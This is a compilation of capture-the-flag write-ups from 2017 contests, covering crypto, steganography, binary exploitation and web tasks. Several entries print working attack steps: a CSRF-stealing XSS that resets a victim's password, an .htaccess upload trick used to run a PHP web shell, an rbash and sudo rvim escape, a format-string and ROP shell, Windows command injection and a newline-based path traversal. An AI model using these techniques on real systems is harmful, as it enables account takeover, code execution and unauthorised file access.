After messing about with the keypass program it was obvious that the passphrase generation was weak
```$ ./keypass AAh=j&FQpX).Y!x2?H$ ./keypass AABWf81zF%SdkxL*jL.$ ./keypass AAAAh=j&FQpX).Y!x2?H$ ./keypass AAAABWf81zF%SdkxL*jL.```Oops.Lets generate some keys```for x in {0..255}do export x ./keypass $(perl -le 'print chr $ENV{x}')done```>$sh generatekeys.sh > keys
Some of these inputs are invalid, the keyfile can be cleaned up or not, doesn't matter.Now let's check how many unique keys there are.```with open("keys", "r") as ins: array = [] a = 0; for line in ins: if line not in array: array.append(line) a = a + 1
print(a)```>$python uniquekeys.py>251>$ wc keys>251 251 4518 keysCool, seems like all these keys are unique atleast.Now let's try to crack that zip-file using the following script.
```KEYS=`cat keys`
for k in $KEYS; do openssl aes-128-cbc -d -in flag.zip.enc -out a -pass pass:"$k" if [ $? -eq 0 ] then exit fidone```However, no luck. After this, generation of keys of all possible inputs with 2 bytes was tested but this didn'tgenerate any more unique keys and took a long time.
After flailing around for a bit this hint was dropped
>$ openssl >OpenSSL> version>OpenSSL 1.1.0e 16 Feb 2017
However, when we check this on the running machine>$ openssl>OpenSSL> version>OpenSSL 1.0.2k 26 Jan 2017
Oops. Lets try this operation on a kali machine instead.
```root@kali:~# apt-get updateroot@kali:~# apt-get install opensslroot@kali:~# sh decrypt.shroot@kali:~# unzip aArchive: a extracting: flag.txt root@kali:~# cat flag.txt VolgaCTF{L0ve_a11_trust_@_few_d0_not_reinvent_the_wh33l}```
Much better. |
# Volga CTF Quals 2017 PyCrypto### Category: Crypto, 150 points
>This crypto algorithm uses a huge key and it's implementation is not so trivial to reverse engineer. Isn't it wonderful?
### Write-up
We take a peek in encrypt.py -> 160 bit key, 20 bytes.
A team mate noticed that when using a secret of multiple A's, we can see a repetition in the cipher text. Probably Xor Then.
```$ echo 'flag="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"' > secret.py$ ./encrypt.py $ cat flag.encG��%�a�����H�M�MG��%�a�����H�M�MG��%�a�����H�M�MG��%�a�����H�M�MG��%�a�����H�M
```We toss the provided flag to https://wiremask.eu/tools/xor-cracker/
We know the key is 20 bytes and we get two suggested keys. The unencrypted text becomes the following with the top suggested key.
> key = d1 ff 63 f7 c8 75 d8 c4 1a 84 ca 24 5b 66 0c 1f c6 e2 cc ea
> ?ol3$CTF{?@m _is_Pad?Ma:<_Tim s_?@d_Mi$$?mek8> Gil'er1 Vernamewa'ean A?&TeBell La's 1+gine r 2ho, in t91ci inv nt d an ad!it=3e po)ya)phabeti& ...
Not quite right. But we learn some key things.The plaintext after the flag is about Gilbert Vernam, looking at his wikipedia page, we figure out po)ya)phabeti&should be polyalphabetic.
We do some Xor math and calculate the key should be> key = 94 ff 63 a3 8d 75 d8 c4 1a c1 ca 24 1e 66 0c 1f c6 e2 cc ea
We use this following code to decrypt the text```int main(){ char key[20] = { 0x94, 0xff, 0x63, 0xa3, 0x8d, 0x75, 0xd8, 0xc4, 0x1a, 0xc1, 0xca, 0x24, 0x1e, 0x66, 0x0c, 0x1f, 0xc6, 0xe2, 0xcc, 0xea };
FILE *fileptr; char *buffer; long filelen; fileptr = fopen("flag.enc", "rb"); fseek(fileptr, 0, SEEK_END); filelen = ftell(fileptr); rewind(fileptr); buffer = (char *)malloc((filelen+1)*sizeof(char)); fread(buffer, filelen, 1, fileptr); fclose(fileptr); int i; for(i = 0; i < filelen; i++) { printf("%c", buffer[i] ^ key[i%20]); } return 0;}```
We now get this plaintext.
> VolgaCTF{N@me_is_Pad_Many_Times_P@d_Mi$$_me?}> Gilbert Vernam was an AT&T Bell Labs engineer who, in 1917, invented an additive polyalphabetic ...
Bingo. |
# QR2 - 330 points
When I am not practicing my [Oboe](https://en.wikipedia.org/wiki/Oboe) for band, I have been working on a QR code generator. For some reason, some of the images are not scannable. [Here](https://raw.githubusercontent.com/EasyCTF/easyctf-2017-problems/master/qr-2/qr2.bmp) is one, can you tell me what it says?
### Solution
###### Writeup by VoidMercy from phsst
We were given a broken QR code.
The problem mentioned that this problem is related to "OBOE" somehow. We search this up and find that OBOE can also stand for off by one error. We surmised that the off by one refers to the mask of the QR code, so we manually changed the mask of the QR code to see if it would decode. Sadly, none of the masks work. (See wikipedia for more information on masks).
Then we had an idea to find out if the mask was messed up or not. Because we know the first characters of the flag is "easyctf" we can manually encode this, and xor it with the broken QR code. This would result in the mask because applying masks uses xor and the inverse operation of xor is itself.
Here is "easyctf" encrypted:
Which we xored with the original broken QR (scaled down):
Original broken QR:
Here is the script I used:
```pythonfrom PIL import Image
def get(rgb): if (rgb == (255, 255, 255)): return 0 return 1
qr = Image.open("qr1.png").convert("RGB")custommask = Image.open("sicemask.png").convert("RGB")
new = Image.new("RGB", (29, 29))
for i in range(29): for a in range(29): if (get(custommask.getpixel((i, a))) ^ get(qr.getpixel((i, a))) == 0): new.putpixel((i, a), (255, 255, 255)) else: new.putpixel((i, a), (0, 0, 0))new.save("test.png")```
Then here is the result (with a bit of edit to make the real mask more visible):
We can see that this mask is mask #6, except moved up one pixel! So we manually construct the same mask, offset by one pixel as well:
Then we xored this mask with the original messed up QR code to undo the off by one mask.
Afterwards, we apply the correct mask #6:
Then, the QR is able to be decoded by any QR code reader!
## Flag
>easyctf{w0w_who_kn3w_that_Oboes_c0uld_mask_a_s3cr3t?} |
# BsidesSF 2017 - []root (crypto, 250 pts)
>Our guy inside e-corp was able to get that packet capture of their backend PKI you asked for. Unfortunately it seems they're using TLS to protect the modulus fetch. Now, I have been told that the best crackers in the world can do this in 60 minutes. Unfortunately I need someone who can do it in 60 seconds.
>Note: Flag does not follow the "Flag:" format but is recognizable
>[e_corp_pki.pcapng](e_corp_pki.pcapng)
We are provided with a packet capture file containing a TLS exchange. Loading it up in Wireshark, we can quickly identify a TLS handshake, with a "server hello" message containing the server certificate, itself containing the RSA public key (modulus + public exponent):
We need to recover the private key by factoring the modulus. We used [Fermat's factorisation method](https://en.wikipedia.org/wiki/Fermat%27s_factorization_method) to recover the two prime factors (script [here](e_corp_pki.pcapng)):
This quickly yielded values for `p` and `q`. Plugging those values into [rsatool](https://github.com/ius/rsatool), we were able to reconstruct the server's private key:
python ./rsatool.py -p 345709341936068338730678003778405323582109317075021198605451259081268526297654818935837545259489748700537817158904946124698593212156185601832821337576558516676594811692389205842412600462658083813048872307642872332289082295535733483056820073388473845450507806559178316793666044371642249466611007764799781626418800031166072773475575269610775901034485376573476373962417949231752698909821646794161147858557311852386822684705642251949742285300552861190676326816587042282505137369676427345123087656274137257931639760324708350318503061363031086796994100943084772281097123781070811610760735943618425858558459014484742232019973 -q 345709341936068338730678003778405323582109317075021198605451259081268526297654818935837545259489748700537817158904946124698593212156185601832821337576558516676594811692389205842412600462658083813048872307642872332289082295535733483056820073388473845450507806559178316793666044371642249466611007764799781626418800031166072773475575269610775901034485376573476373962417949231752698909821646794161147858557311852386822684705642251949742285300552861190676326816587042282505137369676427345123087656274137257931639760324708350318503061363031086796994100943084772281097123781070811610760735943618425858558459014484742232018933 -e 31337 -o priv.key
[...] Saving PEM as priv.key
The next step was to load this private key back into Wireshark to see decrypted TLS traffic. We could see a `GET /modulus` HTTP request with some form of ASCII art:
Nice ASCII art key we thought... But then we looked closely to the first non-zero bytes towards the end: `66 6c 61 67`. This looks like ASCII for "flag"! And indeed:
>>> '66:6c:61:67:3a:77:68:65:6e:5f:73:6f:6c:76:69:6e:67:5f:70:72:6f:62:6c:65:6d:73:5f:64:69:67:5f:61:74:5f:74:68:65:5f:72:6f:6f:74:73:5f:69:6e:73:74:65:61:64:5f:6f:66:5f:6a:75:73:74:5f:68:61:63:6b:69:6e:67:5f:61:74:5f:74:68:65:5f:6c:65:61:76:65:73'.replace(':','').decode('hex') 'flag:when_solving_problems_dig_at_the_roots_instead_of_just_hacking_at_the_leaves' |
Upon connecting to the server, I tried running ls and saw that there's a flagReader file.
By trying to run it, we see that we're in a restricted environment and the error messages show that we're running in rbash.
To escape rbash you can run the following in vim:~~~~:set shell=/bin/sh:shell~~~~
Lets see if there's setuid on the flagReader file:~~~~$ ls -al flagReader---S--x--- 1 topsecretuser secretuser 8768 Feb 25 08:42 flagReader~~~~flagReader is executable by secretuser, so lets try to find a way to execute things as secretuser:
First I tried listing all files that are setuid to run as secretuser:~~~~find / -user secretuser -perm -4000 -exec ls -ldb {} \; 2> /dev/~~~~
apparently no other binary will allow us to run as secretuser
Now lets see if there's anything that sudo will allow us to run with higher privileges:~~~~$ sudo -lMatching Defaults entries for ctfuser on ip-172-31-31-196.us-west-2.compute.internal: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User ctfuser may run the following commands on ip-172-31-31-196.us-west-2.compute.internal: (ALL) NOPASSWD: /usr/bin/sudo -l (secretuser) NOPASSWD: /usr/bin/rvim~~~~So this means we can run rvim as secretuser:~~~~$ sudo -u secretuser rvim~~~~rvim doesn't allow you to run shell commands, so we can't use the same shell spawning technique as before. However, rvim does allow you to run python code. Because of this we can just execute flagReader with python: ~~~~:py3 import subprocess:py3 print(subprocess.check_output(['/home/ctfuser/flagReader']))~~~~and we get the flag:~~~~flag{rVim_is_no_silverbullet!!!111elf}~~~~ |
# Web 300: Corp NewsFor this challenge we are given a web server and the hint: 'Some errors may shed light on what is there on the backend'
The web page has a few features all of which are implemented with jquery posts.1. Login/Register either authenticates a user with a password or creates a new account, and lies about password requirements (it requires uppercase,lowercase and numbers)2. Change password, POST to /change_password with json object including new_password, confirm_password, and a csrf token3. Submit Feedback, POST to /feedback with json object {'comment':'text'}4. Read private news POST to /news details below5. a /feedback page that does not seem to actually display any comments
The hint makes it seem like there will be some kind of command/sql injection into the backend.To start off, I used a quick python script to make the POST requests and return the error messages.I frequently got Syntax Errors on my POST data, but only because it was being passed directly to JSON.parse, which wasdetermined from a stack trace it displayed in the error message. Which also identified the backed as nodejs.
After determining that those Syntax Errors did not lead to any command injection, I went to look at the read private news feature.The server was making requests with the following json data, and always displayed the error message```var data = {'resultFormat': 'text'}``````Please, set debug header true, because the app in developing state:)```
When making requests with other values for resultFormat it responds saying the only supported result_format values are json, jsonp, binary, text, and auto.After some googling for result_format and those options, I determined that the backend was likely running rethinkdb, and the json object was being passed as parameters to the rethinkdb.http function.
this was confirmed because I could use other parameters ('redirects' and 'header') to that function without the server throwing errors.it turns out the 'header' parameter can take in a json object and send those headers to the server. Making the POST request with data```{'resultFormat':'text', 'header':{'debug':'true'}}```The server responded with text from the about page for VolgaCTF.
After poking around looking for command injection, another team member noticed there was a bot viewing the comments submitted,and it allowed for XSS. Along with a little message displayed above the comments displaying a random username for the creator of thewebsite, it seemed the goal was to take over their account.
After a few trials making post requests to my own server to determine my payloads were working, I created a payload tograb the csrf token from the password change form. The token changes quickly after the bot runs our payload, and I got invalidtoken errors, so I expanded the payload to also change the account password.
```<script>var x = new XMLHttpRequest();x.open("GET", "/lk", true);x.onreadystatechange = function() { if (x.readyState == XMLHttpRequest.DONE) { text = x.responseText; text = text.substr(text.indexOf('invisible">') + 'invisible">'.length); csrf = text.substr(0, text.indexOf('')); newdata = JSON.stringify({'new_password':'QWERTYqwerty1',confirm_password:'QWERTYqwerty1','token':csrf}); y = new XMLHttpRequest(); y.open("POST", "/change_password", true); y.setRequestHeader("Content-type", "application/json"); y.send(newdata); }};x.send(null);</script>```
Once the password was changed I logged into the user's account and the profile page had an interesting notice```Your Secret header: asdJHF7dsJF65$FKFJjfjd773ehd5fjsdf7 ```
going back to the private news form, I POSTed the json data```{'header': {'debug':'true', 'Secret':'asdJHF7dsJF65$FKFJjfjd773ehd5fjsdf7'}}```
and it responded with the flagVolgaCTF{rethinkdb_nearly_without_nosqlInj_and_some_clientside} |
<h1>Nested</h1>
There are too many bytes to be a simple transfer... can you investigate this?dump.7z
Hints
1. Take a look at the source format and continue making y**our guess**es2. gzsteg
Downloading dump.7z archive. It contains only one *.pcap file. Open it in Wireshark.
Nothing special. Let's search other file signatures in dump.pcap.
Opening dump.pcap in BLESS (or other HEX-editor). In this file we have a chance to find 7zip signature.
You should copy bytes from a 7zip signature (37 7a dc ..) to the end of file. And paste them into a new file with 7z-extention. To example d.7z.Running command:
`7za x d.7z`
Extracting files.
Looking at extracted files: each.jpg and other.zip helps us to suppose that this files are dependent from each other.
After that we are looking for steganography utilities and remmeber task hint (y**our guess**es), so we understand that OutGuess is needed.
OutGuess installing.
Running command:
`outguess -k "other" -r each.jpg hidden.txt`
Password for the other.zip:
Extracting file is a gz-archive.
At this moment you should remember the 2d hint - gzsteg. This is a name of stegapower patch for gzip (v 1.2.4).Downloading the source code, patching that with gzsteg-patch.
```patch -c < patch1patch -c < patch2patch -c < patch3```
Patch adds new option to standard gzip: "-s" or "--steg", which provides hiding/revealing of files into archive.
With the next command extracting hidden file:
`gzip -cds hide.txt hide.gz`
There is flag in hide.txt.
 |
# VC - 50Problem:```There are files A.png and B.png. But where's the flag?A.pngB.png```For file A.png and B.png I've checked for file type and [Exiftool](http://www.sno.phy.queensu.ca/~phil/exiftool/) but there are nothing suspicious.
```root@AIRBUS:# exiftool A.png ExifTool Version Number : 10.47File Name : A.pngDirectory : .File Size : 17 kBFile Modification Date/Time : 2017:03:24 16:19:58-04:00File Access Date/Time : 2017:03:26 09:06:54-04:00File Inode Change Date/Time : 2017:03:25 08:55:06-04:00File Permissions : rw-r--r--File Type : PNGFile Type Extension : pngMIME Type : image/pngImage Width : 370Image Height : 370Bit Depth : 1Color Type : GrayscaleCompression : Deflate/InflateFilter : AdaptiveInterlace : NoninterlacedImage Size : 370x370Megapixels : 0.137root@AIRBUS:# exiftool B.png ExifTool Version Number : 10.47File Name : B.pngDirectory : .File Size : 17 kBFile Modification Date/Time : 2017:03:24 16:20:02-04:00File Access Date/Time : 2017:03:26 11:33:38-04:00File Inode Change Date/Time : 2017:03:25 08:55:06-04:00File Permissions : rw-r--r--File Type : PNGFile Type Extension : pngMIME Type : image/pngImage Width : 370Image Height : 370Bit Depth : 1Color Type : GrayscaleCompression : Deflate/InflateFilter : AdaptiveInterlace : NoninterlacedImage Size : 370x370Megapixels : 0.137root@AIRBUS:# ```Both of them are Grayscale image that mean no color applied to the images. I check for color by reading the images and printing the pixel value of them using python code. ```pythonfrom PIL import Imageim = Image.open("A.png","r")pix_val = list(im.getdata())for x in pix_val: print x```
I found that there are only 2 values 0 and 255. I merge 2 images using python again.```pythonimport Image
with open('pixA.txt') as f: linesA = f.read().splitlines()
with open('pixB.txt') as f: linesB = f.read().splitlines()
int_listA = [int(i) for i in linesA]int_listB = [int(i) for i in linesB]int_listC = []for i in range(0,len(int_listA)): C = 255 if int_listA[i] != int_listB[i]: C = 0 int_listC.append(C)
# print int_listim = Image.new('L', (370, 370))im.putdata(int_listC)im.save('solve.png')```Now I found the flag.
The flag was:* VolgaCTF{Classic_secret_sharing_scheme} |
[https://github.com/zionspike/ctf-writeup/blob/master/Crypto/%5BVolgaCTF%20Qual%202017%5D%20-%20VC%20-%2050/kapi-note.md](https://github.com/zionspike/ctf-writeup/blob/master/Crypto/%5BVolgaCTF%20Qual%202017%5D%20-%20VC%20-%2050/kapi-note.md) |
# VC - 50 points
There are files A.png and B.png. But where's the flag?[A.png](https://github.com/texh0k0t/VolgaCTF-2017-Quals-Write-Up/blob/master/VC/files/A.png)[B.png](https://github.com/texh0k0t/VolgaCTF-2017-Quals-Write-Up/blob/master/VC/files/B.png)
### SolutionТакой тип заданий, когда даны две картинки и с ними что-то надо сделать, первое что приходит в голову - XOR. Собственно открываем в StegSolve картинку A.png
Далее вкладка Analyse => Image Combiner. Выбираем наше изображение B.png и первым делом видим XOR этих двух картинок.
 |
# Time Is - Exploitation - 150 points
> Check out an extremelly useful utility at time-is.quals.2017.volgactf.ru:45678> time_is
This binary reads in a space separated list of time zones, then converts the current time to them all. This is done in a loop, so we can do this repeatedly.
We did some quick observations:* no errors on invalid time zones* `__printf_chk()` is given user controlled input as the first parameter* but `__printf_chk()` is also blocking some normal printf attacks like %123$p and %n* no length checking of input buffer, but stack canary is present
We spent a short time trying to see if there was a flaw in the line splitting or time zone code, but realized this was unneccessary - `__printf_chk()` is still flawed enough to be exploitable. Even if parameter offsets like %123$p don't work, **tons** of parameters still work. So we just used %p%p%p%p%p%p%p%p%p%p%p... until we were at the desired offset. We first used this combined with %s and user speficied offsets to dump some of the resolved addresses from the GOT. We then used those addresses combined with [a libc database](https://github.com/niklasb/libc-database) to find the correct libc version used by the server, in this case `libc6_2.23-0ubuntu7_amd64.so`.
Next, we used the same %p%p%p%p%p%p%p%p%p%p%p%p%p%p... trick to print out the stack canary value and the return to `__libc_start_main` to locate the libc base address.
With the canary value known, we could smash the stack and overwrite the return from main() with a simple ROP chain that did `system("/bin/sh")`. Using the shell, we found the flag - `VolgaCTF{D0nt_u$e_printf_dont_use_C_dont_pr0gr@m}` |
# Gibberish
You are given an image, gibberish.png and from this and the different hints,you have to find the flag!
## Solution
The solutions for this challenge lies in carefully following the hints in the description.
The first thing to note, is that there are 3 colors of the rainbow, in this casewe assume RED,GREEN and BLUE as in the RGB color mode.
The second thing is that the only thing that matters is color, not intensity!!
The third thing is that one of the parts is represented by a barcode.
My idea is to take each pixel on the gibberish.png image and check if it containa R value and then on a blank image (with white background), draw the correspondingpixel as black.
After the first image has been drawn this way, I will move on with the G and B valuesrespectively.
We were told that one of the images should be treated as a barcode and we can see uponvisial inspection that the likely candidate is *newfile-g.png*
We use an app on our smartphone, and scan the image, giving us a strange looking string*LH5i6uQz*
Now we will have to see what we can do with the other 2 images. They look kinda of likebarcodes but arent wide enough, if we zoom in using our favorite image editor, we cansee that if we take the first line of pixels, we can divide them into groups of 8 pixels.
By doing this we can immediately see that each group of 8 pixels fall inside 7 bit asciivalues, if we assume that a black pixel represent a binary 1. This holds true for both*newfile-r.png* and *newfile-b.png*.
To test our thesis, we produce a perl script, in order to print the resulting ascii strings.
The 2 resulting strings are:
* aPgMasSt* 5U5EYz2b
Having scanned in *LH5i6uQz*, we do a quick comparison and can see that the strings are ofequal length. Its some re-assurance that our idea was right, but now we have to figureout what those strings represent.
First we try to base64 decode them, but we are left with nothing but gibberish (lol),secondly we try to apply a columnar transposition cipher, which also doesn't yield anythingpromising. In desperation we also try to form anagrams of each string, this is also tono avail.
After a lot of fiddeling about, we read the challenge text once again and ponder thestatement "my flag never expires".
What never expires? First idea was salt, that could work if it was some crypto stuff,but then it would have to be hashes of some kind. No known hashes with 8 characters,atleast i could find.
In the course of the CTF we had shared a lot of code pieces and hints amongst teammembers and we always used pastebin for this. Thinking about the piece of informationthat the flags never expire. It dawned on me that pastebins can be set to expire,or not to expire at all!!
On to pastebin and make a random entry and bamm!! The hash in the end of the url was indeed 8 characters, just like the strings we found!!
We visit each pagebin post conforming to the strings we found and get the followingurls
* http://pastebin.com/LH5i6uQz* http://pastebin.com/aPgMasSt* http://pastebin.com/5U5EYz2b
Piecing the content of the pastebins together, we get the following string:
*easyctf{col0rs_b4rcod3s_and_b1nary_f?n}*
Brilliant, but there are just the ? to take care of, what should we put instead?My first guess was u, and with that, the flag was put into the form and send away.
*easyctf{col0rs_b4rcod3s_and_b1nary_fun}*
That being said, first time i tried with u, it didnt work for some reason and i triedwith all the letters A-Z,a-z,0-9 with the same result ofcourse, untill i way latertried with u again, and it worked.
## Appendix
The perl program for decoding the gibberish.png image, is added in this directoryas well as the images produced. |
VolgaCTF 2017 web Bloody Feedback writeup http://4coders.ru/writeups/volgactf-2017-bloody-feedback-100-web-writeup/
Other writeups: http://4coders.ru/category/writeups/ |
# Share Point - 200Problem:```Look! I wrote a good service for sharing your files with your friends, enjoy)share-point.quals.2017.volgactf.ru```When I browsed to the web I found login page which could login with any user but you have to specify the password.
I found page that I could upload any file but not with php or html file.
I've tried hard but it could not be bypassed file extension checking.
I've come up with another method by uploading .htaccess. I modify .htaccess to handling .png like .php file.The following was content of .htaccess:```AddType application/x-httpd-php .png```
and then upload the .htaccess file.
When I uploaded .png file the server will treat the .png file like .php file.
I upload .png file with malicious shell command.```POST /upload.php HTTP/1.1Host: share-point.quals.2017.volgactf.ruUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://share-point.quals.2017.volgactf.ru/upload.phpContent-Length: 221Content-Type: multipart/form-data; boundary=---------------------------15359717221864Cookie: PHPSESSID=na403i0vkb1tkf0fd4d3iclg04DNT: 1Connection: close
-----------------------------15359717221864Content-Disposition: form-data; name="userFile"; filename="zion.png"Content-Type: image/png
-----------------------------15359717221864--```
Then browse to zion.png and execute commands to find and grab the flag.```GET /files/kapi/zion.png?cmd=cat%20/opt/flag.txt HTTP/1.1Host: share-point.quals.2017.volgactf.ruUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCookie: PHPSESSID=na403i0vkb1tkf0fd4d3iclg04DNT: 1Connection: closeUpgrade-Insecure-Requests: 1
HTTP/1.1 200 OKDate: Mon, 27 Mar 2017 07:03:54 GMTServer: Apache/2.4.18 (Ubuntu)Content-Length: 51Connection: closeContent-Type: text/html; charset=UTF-8
VolgaCTF{AnoTHer_apPro0Ach_to_file_Upl0Ad_with_PhP}```
The flag was:* VolgaCTF{AnoTHer_apPro0Ach_to_file_Upl0Ad_with_PhP} |
English: [http://f4lrik.ru/en/angry-guessing-game-reverse-200-volgactf-2017/](http://f4lrik.ru/en/angry-guessing-game-reverse-200-volgactf-2017/)
Russian: [http://f4lrik.ru/ru/angry-guessing-game-reverse-200-volgactf-2017-2/](http://f4lrik.ru/ru/angry-guessing-game-reverse-200-volgactf-2017-2/) |
VolgaCTF 2017 writeup Corp News (300)http://4coders.ru/writeups/volgactf-2017-corp-news-300-web-writeup/
Other writeups: http://4coders.ru/category/writeups/ |
題目：Someone I met today told me that they had a perfect encryption method. Toprove that there is no such thing, I want you to decrypt thisencrypted flag he gave me.
檔案下載位址：https://github.com/SJChang/EasyCTF2017/blob/master/encrypted_flag.txt
|
題目：I found two files in a secret room. They look like jumbled letters with no patterns. I mean look at it! file1 is identical to file2, right?
下載file1和file2的檔案在這裡：
https://github.com/SJChang/EasyCTF2017
file1和file2都是兩個密密麻麻的文字檔案．
他問說file1和file2 是兩個完全相同的檔案嗎？
這邊使用的是cmp指令：用來比較兩個文件內容是否相同
cmp的參數運用方式如下
Mandatory arguments to long options are mandatory for short options too.-b, –print-bytes print differing bytes-i, –ignore-initial=SKIP skip first SKIP bytes of both inputs-l, –verbose output byte numbers and differing byte values-n, –bytes=LIMIT compare at most LIMIT bytes-s, –quiet, –silent suppress all normal output–help display this help and exit
|
## Infos
**Author**: awe **Category**: Pwn **Difficulty**: Easy **Solves**: 2 (WTF)
## Description:
After monitoring the number of people escaping from `winworld` during the Insomni'hack Teaser, the droids became confident that Windows 10 is just too secured, so they decided to use it again to manage their army. The protections are the same `winworld`, but the difficulty is... not quite the same ;)
Running on Windows 10 with: ```bash AppJailLauncher.exe /key:flag.txt /port:1337 /timeout:12000000 easywin.exe ```
## Solution:
There is an obvious buffer overflow in the "change target" function, which allows to overwrite a format and a function pointer.
1) Use the format string to leak `ucrtbase.dll`. At offset 5 you have `ucrtbase!_argc`. Compute the base of `ucrtbase` from its offset. 2) Overwrite the function pointer with `ucrtbase!system` and trigger it. The binary has Control Flow Guard but `system` is a valid target, so no problem. 3) First argument of `system` is our buffer (how convenient?), however our charset is limited to `c > 0x20 && c < 0x7f` so we can't use space characters. We can use `,` or `^` to circumvent that restriction: `type,flag.txt\x00`. 4) For some reason remotely this didn't work (buffering or whatever), adding another command that prints more bytes does the trick: `type,flag.txt&whoami^/all\x00` 5) Get the flag: `INS{command^injection^for^the^win}` |
# Sensors (pwn)
###ENG[PL](#pl-version)
In the tasks we get access to some web interface of scada-like application.We quickly notice that in `robots.txt` there is `/firmware` so we proceed there and grab binaries for two pwn tasks.For this task we focus on [sensor binary](sensor).The binary has NX, Canary and Fortify so we assume there has to be a way to exploit this without doing any low-level magic.
In robots we can also see that there is `/flag.txt` but the webserver will not give it to us.
This binary sets up a CGI web interface and can be queried by http on the status of some sensors.We can go to the URL `https://steel-mountain-d2fcf1e0.ctf.bsidessf.net/sensor?sensor=a-1` and this will show the status of `a-1` sensor.
We proceed with reversing the binary, which is statically compiled with come cgi-related library.We focus on `main` function and `loadSensorConfig` function.The latter is especially interesting because it opens a file and reads from it - a good target for reading the flag file:
```asm00000000004015da mov r8d, 0x404192 ; "sensors/%s.cfg", argument #5 for method j___snprintf_chk00000000004015e0 mov ecx, 0x80 ; argument #4 for method j___snprintf_chk00000000004015e5 mov edx, 0x1 ; argument #3 for method j___snprintf_chk00000000004015ea mov esi, 0x80 ; argument #2 for method j___snprintf_chk00000000004015ef xor eax, eax00000000004015f1 call j___snprintf_chk00000000004015f6 lea rdi, qword [ss:rsp+0x1a8+var_190] ; argument "s1" for method j_strcspn00000000004015fb mov esi, 0x4044b4 ; argument "s2" for method j_strcspn0000000000401600 call j_strcspn0000000000401605 lea rdi, qword [ss:rsp+0x1a8+var_190] ; argument "filename" for method j_fopen000000000040160a mov esi, 0x4044cc ; argument "mode" for method j_fopen000000000040160f mov byte [ss:rsp+rax+0x1a8+var_190], 0x00000000000401614 call j_fopen0000000000401619 test rax, rax000000000040161c mov rbx, rax000000000040161f jne 0x401641;0000000000401641 lea rdi, qword [ss:rsp+0x1a8+var_110] ; argument "str" for method j_fgets, XREF=loadSensorConfig+1460000000000401649 mov rdx, rax ; argument "stream" for method j_fgets000000000040164c mov esi, 0x100 ; argument "size" for method j_fgets0000000000401651 call j_fgets0000000000401656 test rax, rax0000000000401659 mov rdi, rbx000000000040165c jne 0x401665```
We can also notice that if the loaded file is not a proper configuration of a sensor, it will call:
```asm000000000040168c mov edi, 0x190 ; argument #1 for method cgiHeaderStatus0000000000401691 call cgiHeaderStatus0000000000401696 lea rsi, qword [ss:rsp+0x1a8+var_110] ; argument #2 for method debug_printf000000000040169e mov edi, 0x4041e8 ; "Invalid configuration:\\n%s\\n", argument #1 for method debug_printf00000000004016a3 xor eax, eax00000000004016a5 call debug_printf00000000004016aa jmp 0x40163c```
So it will actually print the contents of the file using `debug_printf`.Looking at this function tells us that we simply need to set GET parameter `debug` to see the output of this function.
No we have to force the binary to read the flag file instead of the sensor file.We can see that it calls `snprintf` with format `sensors/%s.cfg` with the input we provide.If we could smuggle there a nullbyte we could cut the `.cfg` extension, and by using `../` we could go to the proper directory with the flag.Unfortunately we can't do that because the input is already processed with `strcpy` with the cgi library, so any nullbytes are already removed at this point.Our next thought was to provide long input, because `snprintf` will write only up to `n` characters, so if the input is long enough we could again end up with final string without `.cfg`.But this doesn't work either because the cgi library is limiting the length of input parameter and it's always shorter than what we would need.The `snprintf` has 0x80 bytes in buffer and the parameter is set in main to be at most 0x40 bytes.
But there is one curious thing in the code:
```asm00000000004015f6 lea rdi, qword [ss:rsp+0x1a8+var_190] ; argument "s1" for method j_strcspn00000000004015fb mov esi, 0x4044b4 ; argument "s2" for method j_strcspn0000000000401600 call j_strcspn0000000000401605 lea rdi, qword [ss:rsp+0x1a8+var_190] ; argument "filename" for method j_fopen000000000040160a mov esi, 0x4044cc ; argument "mode" for method j_fopen000000000040160f mov byte [ss:rsp+rax+0x1a8+var_190], 0x0```
As we can see a function `strcspn` is called with our input as one parameter and some constant from `0x4044b4` as another one, and it actually sets 0x0 inside the string formed already by `snprintf` at index returned from `strcspn`! So in the end we can actually put a nullbyte there as long as `strcspn` returns index before the `.cfg`If we look at the constant at `0x4044b4` we can see:
```asm00000000004044b4 dd '\x0d\x0a\x00w' ```
So it seems passing `\r` or `\n` will trigger this.This means that by passing as input `sensor=../flag.txt%0A` the `snprintf` will create `/sensors/../flag.txt\n.cfg` and then after `strcspn` this will change into `/sensors/../flag.txt\0.cfg` and therefore fopen will ignore `.cfg` opening the flag for us!
So finally running `https://steel-mountain-d2fcf1e0.ctf.bsidessf.net/sensor?sensor=../flag.txt%0A&debug` we get `flag:directory_traversal_in_c`
###PL version
W zadaniu dostajemy dostęp do webowego interfejsu aplikacji scada.Szybko zauważamy że w `robots.txt` mamy informacje o katalogu `/firmware` z którego wyciągamy dwie binarki do zadań pwn.W tym zadaniu skupimy się na [aplikacji sensor](sensor).Binarka ma NX, Canary i Fortify więc spodziewamy się, że należy ją exploitować bez niskopoziomowej magii.
W robots widzimy też że jest `/flag.txt` ale serwer nie chce podać nam tego pliku.
Aplikacja wystawia za pomocą CGI interfejs webowy który pozwala po http odpytywać o stan sensorów.Możemy iść pod url `https://steel-mountain-d2fcf1e0.ctf.bsidessf.net/sensor?sensor=a-1` i dostaniemy stan sensora `a-1`.
Następnie przechodzimy do reversowania aplikacji, która jest statycznie kompilowana z jakąś biblioteką do cgi.Skupiamy się na analizie funkcji `main` oraz `loadSensorConfig`.
Ta druga jest szczególnie ciekawa bo otwiera plik i czyta z niego - może da się za jej pomocą odczytać flagę:
